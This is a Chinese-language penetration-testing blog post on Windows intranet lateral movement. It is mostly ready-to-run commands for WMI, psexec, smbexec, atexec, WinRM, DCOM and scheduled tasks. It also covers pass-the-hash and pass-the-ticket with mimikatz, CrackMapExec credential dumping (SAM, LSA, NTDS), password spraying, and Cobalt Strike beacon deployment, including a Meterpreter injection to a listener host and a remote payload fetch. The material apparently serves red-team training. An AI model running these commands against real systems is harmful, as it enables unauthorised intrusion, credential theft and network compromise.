banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

內網滲透基礎

內網#

內網指的是內部局域網,常說的 LAN(local area network)。常見家庭 wifi 網絡和小型的企業網絡,通常內部計算機直接訪問路由器設備,路由器設備接入移動電信的光纖實現上網。

image

內部局域網可以通過交換機 / 防火牆組成多個網絡(局域),多個局域之間進行訪問控制。新概念(安全域)。

image

如專門存放伺服器的統稱為 DMZ(非軍事化區域),運維區,內網辦公區等,常說的內網滲透就是在局域網內部滲透,內網滲透比較有難度的是域滲透

KB2871997&KB2928120#

微軟在 2014 年發布了KB2871997KB2928120兩個補丁,用來阻止域內主機本地用戶的網絡登錄,這樣就無法以本地管理員的權限執行wmi、psexec、schtasks、at和文件訪問共享,本地用戶的 PTH 方式已經死掉,然而默認的 Administrator(SID 500)這個賬戶仍可以進行 PTH,並且在禁用 NTLM 的情況下,psexec 無法進行遠程連接,但是使用 mimikatz 可以攻擊成功。

UNC 路徑#

UNC 路徑代表通用命名約定路徑(Universal Naming Convention),它是一種網絡路徑格式,用於標識在網絡上共享的資源位置。UNC 路徑允許您在本地網絡中訪問遠程共享。

UNC 路徑由兩個反斜杠\,後跟遠程計算機的名稱或 IP 地址、可選的共享名稱、可選的路徑和文件名組成。例如:

\\ComputerName\ShareName\Path\FileName

其中 ComputerName 是遠程計算機的名稱或 IP 地址,ShareName 是共享名稱,在訪問共享時需要使用該名稱,Path 是共享文件夾中的路徑,FileName 是所需文件的名稱。

WMI#

WMI(Windows management instrumentation)可以描述為管理 Windows 系統的方法和功能,我們可以把它當作 API 來與 Win 系統進行相互交流,WMI 在滲透測試中的價值在於它不需要下載和安裝,WMI 是 Windows 系統自帶功能。而且整個運行過程都在計算機內存中發生,不會留下任何痕跡。

135 端口#

RPC:遠程過程調用服務,WMIC(winsows management instrumentation)用到這個端口。

image

wmic 具體用法如下:

# 打開一個計算器
wmic /node:ip /user:用戶名 /password:密碼 PROCESS call create "calc.exe" 

#無回顯
wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"
wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"

連接報錯如下信息:

image

ip 錯了報如下信息:

image

密碼填錯報如下信息:

image

用另一台計算機嘗試連接,正常訪問,命令執行成功,wmic 執行後無回顯,需寫入到文本文件中。

image

image

WMIEXEC#

獲取交互式 shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s

image

執行單條命令

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"

image

如上是提供了密碼,如無密碼,可以利用 wce 的 hash 注入,然後執行 wmiexec 就可以了。

wce –s 賬號:主機名或域的名字:LM:NTLM

cscript //nologo wmiexec.vbs /shell 192.168.0.1

如果抓取的 LM hash 是 AAD3 開頭的,或者是 No Password 之類的,計用 32 個 0 代替 LM hash

wmiexec.exe#

wmiexec.exe ./administrator:[email protected] "whoami"

image

hash 傳遞

wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected] "ipconfig"

https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md

137,138,139 端口#

137、138 為 UDP 端口,主要用於內網傳輸文件,NetBios/SMB 服務的獲取主要是通過 139 端口。

445 端口#

共享文件夾、共享打印機

ipc$#

IPC$是共享 “命名管道” 的資源,為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問,從 NT/2000 開始使用。

IPC$在同一時間內,兩個 IP 之間只允許建立一個連接。

NT/2000 在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享 (c$,d$,e$……) 和系統目錄 winnt 或管理員目錄 (admin$) 共享。

net use \\192.168.1.56\c$ "password" /user:"domain\username"
net use \\192.168.1.56\c$ "aab+1s" /user:administrator

image

另一台主機 net use 遠程連接

image

擴展語法#

net use \\192.168.1.56\c$

# 刪除ipc$連接
net use \\192.168.1.56\ipc$ /del

# 將目標磁碟映射到本地
net use z: \\192.168.1.56\c$

# 刪除映射
net use z: /del

# 關閉共享
net use ipc$ /del

ipc$ 空連接

橫向滲透 SMB(通過 445 端口)#

利用 SMB 服務,需要先建立 IPC,可以通過 hash 傳遞來遠程執行,默認回來 System 權限,需要目標防火牆開啟 445 並允許通過。

psexec#

net use \\192.168.1.56\c$ "aab+1s" /user:administrator

PsExec.exe \\192.168.1.56 whoami

.\PsExec.exe -u administrator -p 123456 \\dc01 cmd

# 交互式shell(相同憑證可直接登錄)
psexec -accepteula \\ip -s cmd.exe

image

執行原理

1. 通過ipc$連接,釋放psexecsvc.exe到目標
2. 通過服務管理SCManager遠程創建psexecsvc服務,並啟動服務。
3. 客戶端連接執行命令,服務端啟動相應的程序並執行回顯數據。
4. 運行完後刪除服務。這個在 windows 的日誌中有詳細的記錄,另外 psexec 在少數情況下會出現服務沒刪除成功的 bug,所以一般不推薦使用 psexec,推薦 wmiexec

C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

image

cs - plugins#

選中需橫向的主機,jump-psexec64

image

image

選擇一個認證,listen 如果可出網,選擇 1,內網橫向則用 smb beacon2。

直接使用命令行。

jump [module] [target] [listener]
jump psexec64 192.168.10.173 local

image

通過 psexec 橫向到目標機器,憑證用的是已知憑證去碰撞
image

此時整體拓撲如下,是父子關係,這是因為用的是 http beacon 直接連接 teamserver,如果用 smb beacon 就是 link 關係。

image

換一下 smb beacon

image

主機 ip 後面帶有四個圓圈。

image

smb 的箭頭是黃色

https://www.cnblogs.com/sup3rman/p/12381874.html

SMBEXEC#

明文傳遞

smbexec.exe administrator:[email protected]

image

hash 傳遞

hash傳遞:
smbexec -hashes :$HASH$ [email protected]
smbeexec -hashes :$HASH$ domain/[email protected]

dump hash

image

image

atexec#

  • 批量
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量檢測 IP 對應明文 連接 

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量檢測 IP 對應明文 回顯版 

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量檢測明文對應 IP 回顯版 

FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量檢測 HASH 對應 IP 回顯版  

PTH#

域 / 工作組環境,內存中存在和當前機器相同的密碼,在身份驗證過程中,基本過程是從用戶那裡收集密碼,然後對其進行加密,然後將正確密碼的加密哈希用於將來的身份驗證。

初次認證後,Windows 將哈希值保存在內存中,這樣用戶就不必一次又一次地輸入密碼。

在憑證轉儲期間,我們看到我們已經提取了大量的哈希值。現在作為攻擊者,我們不知道密碼。因此,在身份驗證期間,我們提供哈希而不是密碼。

Windows 比較哈希值並熱烈歡迎攻擊者。簡而言之,這就是 Pass-the-Hash 攻擊。

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

mimikatz - PTH#

privilege::debug 
sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

image

彈出窗口後,連接共享端口,傳輸文件

# privilege::debug
# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

image

拷貝文件

image

參考:
內網滲透 --Hash 傳遞攻擊

PTK#

需要存在補丁kb2871997

使用minikatz獲取aes256_hmac:
sekurlsa::ekeys
傳遞連接:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b  

PTT#

實現步驟:  
1、生成票據 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”  
2、導入票據 kerberos::ptt [[email protected]_krbtgt](mailto:[email protected]_krbtgt)[email protected]  
3、查看憑證 klist  
4、利用 net use 載入 dir \192.168.213.163\c$  

smbclient#

認證登錄#

  • 明文
smbclient -L //192.168.10.173 -U Administrator
  • hash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected]

image

空會話枚舉#

smbclient -N -U "" -L \\192.168.1.214

rpcclient#

# rpcclient -U "" -N 10.10.10.161 
rpcclient $>enumdomusers

# rpcclient -U corp.pentest.lab/administrator 10.10.10.161 

cme#

https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows

執行命令#

crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig

image

powershell

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'

bypass ASMI

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'  --amsi-bypass /path/payload

image

cme 網絡掃描#

crackmapexec smb 10.0.0.0/24

image

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares 

image

枚舉空會話#

cme smb 10.10.10.161 -u '' -p ''
cme smb 10.10.10.161 --pass-pol
cme smb 10.10.10.161 --users
cme smb 10.10.10.161 --groups

cme smb 10.10.10.178 -u 'a' -p '' -shares
cme smb 10.10.10.178 -u -p -shares

# 以遞歸方式遍歷所有共享s
crackmapexec smb  -u  -p  -M spider_plus

憑證獲取#

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam  
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsa
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss

msf 反彈 shell#

image

枚舉遠程目標上的活動會話#

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

密碼噴灑#

使用空格指定多個用戶名 / 密碼

#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18
#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3

通過文本指定字典

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18
#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

找到密碼後繼續爆破

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success

# 一對一爆破
#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes

認證#

User/Hash

獲取憑證如下:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
  • 本地認證
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth
#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

爆破結果後如下:

	SMB         192.168.1.101    445    HOSTNAME          [+] HOSTNAME\Username:Password (Pwn3d!)  

winRM#

#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
# use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip

# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
root@payload$ cme mimikatz --server http --server-port 80

at、schtasks、#

  • at

windows 版本<2012,高版本中使用 schtasks 命令

at [\computername] [[id] [/delete] | /delete [/yes]]
at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>

生成 smb beacon

image

上傳 smb beacon 文件

image

添加任務計劃

shell at \\192.168.10.173 10:51 c:\local-smb.exe

image

已運行,無法反彈,smb shell 的問題。

換成 web beacon,成功反彈。

image

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at

  • schtasks

windows>=2012

schtasks create

創建任務對應執行文件

schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]
schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F

schtasks run

執行文件任務

schtasks /run /s 192.168.213.163 /tn adduser /i

schtasks delete

刪除執行文件任務

schtasks /delect /s 192.168.213.163 /tn adduser /f

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create


sharpwmi#

.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami

image

cs 報錯

[-] Invoke_3 on EntryPoint failed.

image

nbtscan#

通過 IP 掃描網絡獲取 bios 名稱(計算機名)

image

image

bash$ sudo nbtscan -v -s : 192.168.1.0/24
  • cs plugin

image

winRM#

WinRM(windows 遠程管理)是 WS 管理協議的 Microsoft 實現,一種基於標準的 SOAP 協議,允許來自不同供應商的硬件和操作系統相互操作,能夠對本地或遠程的伺服器進行管理,獲得一個類似 Telnet 的交互式命令行 shell,以便降低系統管理員複雜的操作。

端口:
HTTP(5985)
HTTPS SOAP(5986)

前提:憑證及權限

CS 中有 WinRM 模塊。

image

winrm:x86,通過 WinRM 來運行一個 PowerShell 腳本
winrm:x64,通過 WinRM 來運行一個 PowerShell 腳本

進入 winrm64 後,內容如下:

image

前提需要有認證,才可以橫向進入,此處的認證獲取可以通過內部撞庫、歷史 RDP 憑證等方式獲取,內部撞庫是拿已知的密碼去嘗試是否有復用密碼,歷史 RDP 憑證是如果管理員再內網通過 3389 登錄後且記錄了密碼,可以通過獲取歷史 RDP 登錄記錄獲取憑證。

如上圖所示,已經擁有 192.168.1.214 的密碼憑證,但不清楚 192.168.1.55 的憑證,此時可以嘗試使用 192.168.1.214 的憑證。

監聽器和會話按需選擇,會話是當前的 beacon。

image

嘗試運行,報錯了。

jump winrm64 192.168.1.55 test

image

查看伺服器端口情況,未開啟 5985 端口。

image

可通過 winrm 命令開啟 5985 端口,windows server 2008 默認 winrm 服務是啟動的,但端口未開放,需要通過winrm quickconfig -q 或者 winrm qc開啟端口。

image

  • 開啟 winRM 服務

image

重新查看端口開放情況,5985 端口已打開。

image

  • 開啟防火牆或關閉防火牆命令
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 遠程管理" new enable=yes
  • 使用 powershell 連接伺服器

需提前開啟信任主機

PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force
# 這個命令需要再客戶端執行,而不是再服務端執行

或者用下面的命令
winrm set winrm/config/client @{TrustedHosts="*"}

PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator


![](https://raw.githubusercontent.com/olist213/olistimg/master/picgo/202306091119252.png)

![](https://raw.githubusercontent.com/olist213/olistimg/master/picgo/202306091119010.png)

輸入憑證,連接成功。

![](https://raw.githubusercontent.com/olist213/olistimg/master/picgo/202306091119277.png)

或者

```bash
New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)
Enter-PSSession 1

image

通過 CS 操作

beacon> jump winrm64 192.168.1.55 test

image

成功返回 shell

image

修復建議:

禁用 WinRM

winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP
  • ⚠️ windows8、windows10、windows server 2012 及以上系統,WinRM 服務默認開啟。

evil-winrm#

GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting

WinRS#

WinRS (Windows Remote Shell) 是一種遠程管理工具,用於在 Windows 遠程伺服器上運行命令行命令。WinRS 使用 WinRM(Windows Remote Management)協議向遠程計算機發送命令行請求。
WinRS 在 Windows Server 2008 及更高版本的操作系統中預安裝,並且可以在 Windows 7 及更高版本的操作系統中啟用。要使用 WinRS,您必須在遠程伺服器上啟用 WinRM,並且在本地計算機上運行命令時必須使用管理員權限。

winrs -r:192.168.1.55 "cmd /c ipconfig"

image

# 端口復用下
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoami
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd

DCOM#

DCOM 代表分佈式組件對象模型(Distributed Component Object Model),它是一種 Microsoft 的分佈式系統服務。它允許計算機上的應用程序通過網絡連接和通信。DCOM 使開發人員能夠從遠程計算機上執行代碼,並使應用程序之間的通信更為容易和靈活。

PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

image

PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))

PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")

PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txt
WIN-BVVD8VFVMPR

image

SCShell#

GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command

No445#

GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port

參考#

https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong
https://github.com/BlWasp/CME_cheatSheet
https://mpgn.gitbook.io/crackmapexec/
https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/
https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/
https://www.cnblogs.com/gamewyd/p/6805595.html
https://www.cnblogs.com/zhengna/p/15309006.html
http://k8gege.org/Ladon/WinrmScan.html
https://cloud.tencent.com/developer/article/1937116

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。